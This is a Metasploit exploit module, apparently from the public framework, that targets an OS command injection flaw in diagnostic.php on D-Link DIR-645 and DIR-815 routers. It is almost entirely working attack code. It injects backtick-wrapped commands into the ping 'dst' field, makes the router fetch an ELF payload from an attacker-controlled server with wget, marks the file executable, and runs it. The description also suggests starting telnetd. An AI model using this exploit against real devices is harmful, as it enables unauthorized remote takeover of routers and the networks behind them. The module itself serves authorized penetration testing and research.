D-Link DIR-645 / DIR-815 diagnostic.php Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'D-Link DIR-645 / DIR-815 diagnostic.php Command Execution',
        'Description' => %q{
          Some D-Link Routers are vulnerable to OS Command injection in the web interface.
          On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On
          version 1.03 authentication is needed in order to trigger the vulnerability, which
          has been fixed definitely on version 1.04. Other D-Link products, like DIR-300 rev B
          and DIR-600, are also affected by this vulnerability. Not every device includes
          wget which we need for deploying our payload. On such devices you could use the cmd
          generic payload and try to start telnetd or execute other commands. Since it is a
          blind OS command injection vulnerability, there is no output for the executed
          command when using the cmd generic payload. A ping command against a controlled
          system could be used for testing purposes. This module has been tested successfully
          on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the
          vulnerability.
        },
        'Author' => [
          'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2014-100005' ],
          [ 'OSVDB', '92144' ],
          [ 'BID', '58938' ],
          [ 'EDB', '24926' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-017' ]
        ],
        'DisclosureDate' => '2013-03-05',
        'Privileged' => true,
        'Payload' => {
          'DisableNops' => true
        },
        'Targets' => [
          [
            'CMD',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix'
            }
          ],
          [
            'Linux mipsel Payload',
            {
              'Arch' => ARCH_MIPSLE,
              'Platform' => 'linux'
            }
          ],
        ],
        'DefaultTarget' => 1,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
      ]
    )
  end

  def request(cmd, uri)
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'POST',
      'vars_post' => {
        'act' => 'ping',
        'dst' => "` #{cmd}`"
      }
    })
    return res
  rescue ::Rex::ConnectionError
    vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Failed to connect to the web server")
    return nil
  end

  def exploit
    downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15))
    uri = '/diagnostic.php'

    if target.name =~ /CMD/
      if !(datastore['CMD'])
        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
      end
      cmd = payload.encoded
      res = request(cmd, uri)
      if (!res)
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
      end
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Blind Exploitation - unknown Exploitation state")
      return
    end

    # thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe
    @elf_sent = false

    #
    # start our server
    #
    resource_uri = '/' + downfile

    if (datastore['DOWNHOST'])
      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
      service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}" + resource_uri

      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
      start_service({
        'Uri' => {
          'Proc' => proc do |cli, req|
            on_request_uri(cli, req)
          end,
          'Path' => resource_uri
        },
        'ssl' => false # do not use SSL
      })
    end

    #
    # download payload
    #
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Asking the D-Link device to download #{service_url}")
    # this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)

    # not working if we send all command together -> lets take three requests
    cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
    res = request(cmd, uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    # wait for payload download
    if (datastore['DOWNHOST'])
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
      select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
      wait_linux_payload
    end
    register_file_for_cleanup("/tmp/#{filename}")

    #
    # chmod
    #
    cmd = "chmod 777 /tmp/#{filename}"
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Asking the D-Link device to chmod #{downfile}")
    res = request(cmd, uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    #
    # execute
    #
    cmd = "/tmp/#{filename}"
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Asking the D-Link device to execute #{downfile}")
    res = request(cmd, uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, _request)
    # print_status("on_request_uri called: #{request.inspect}")
    if (!@pl)
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  # wait for the data to be sent
  def wait_linux_payload
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Waiting for the target to request the ELF payload...")

    waited = 0
    until (@elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
      end
    end
  end
end